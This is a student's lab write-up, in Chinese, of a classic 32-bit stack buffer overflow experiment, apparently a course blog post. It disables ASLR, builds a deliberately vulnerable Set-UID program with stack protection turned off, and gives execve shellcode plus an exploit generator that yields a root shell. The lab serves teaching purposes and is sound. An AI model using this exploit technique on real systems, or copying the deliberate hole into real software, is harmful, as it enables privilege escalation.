20169215 缓冲区溢出漏洞实验

20169215 缓冲区溢出漏洞实验

实验简介

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

实验准备

实验利用实验楼准备的实验环境。实验楼提供64位的Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在32位环境下作操作，因此实验之前需要做一些准备。

1、输入命令安装用于编译32位的C程序的东西

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev

2、输入linux32进入32位linux环境，输入/bin/bash使用bash。

实验过程

1、初始设置
Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。通过以下命令关闭该功能：

sudo sysctl -w kernel.randomize_va_space=0

在bash中存在一个防护机制——为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限。因此我们使用另一个shell程序zsh代替/bin/bash。/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接，将它指向zsh：

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

2、shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。

#include <stdio.h>
int main( ) {
    char *name[2];
    name[0] = ‘‘/bin/sh’’;
    name[1] = NULL;
    execve(name[0], name, NULL);
}

本次shellcode利用的是上述代码的汇编版本：

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3、漏洞程序
把以下代码保存为“stack.c”文件，保存到 /tmp 目录下。代码如下：

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

编译该程序，并设置SET-UID：

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制，而 -z execstack 用于允许执行栈。
4、攻击程序
攻击刚才的漏洞程序，并通过攻击获得root权限。

把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
    strcpy(buffer+100,shellcode);

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。

而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置，现在我们要得到shellcode在内存中的地址，输入命令：

gdb stack
disass main

得到结果如图：

然后通过设置断点，查看当时esp寄存器内容：

根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd020(十六进制)+100(为十进制，十六进制为64)=0xffffd084(十六进制)
现在修改exploit.c文件，将 \x??\x??\x??\x?? 修改如下：

然后修改exploit.c文件。

编译exploit.c程序：

gcc -m32 -o exploit exploit.c

5、攻击结果
先运行攻击程序exploit，再运行漏洞程序stack，观察结果：

通过攻击获得了root权限。

学习进度条

时间	学习内容	博客量
第一周	Linux基础知识学习	1/1
第二周	Kali视频1-5，课本一、二章内容	1/2
第三周	Kali视频6-10，课本第三章内容	1/3
第四周	Kali视频11-15，课本第四章内容	1/4
第五周	Kali视频16-20，课本最后两章内容	1/5
第六周	Kali视频21-25，课本五、六章内容	1/6
第七周	Kali视频26-30，课本七章内容	1/7
第八周	Kali视频31-35，课本八章内容	1/8
第九周	Kali视频36-38，课本九、十章内容	1/9
第十周	缓冲区溢出实验	1/10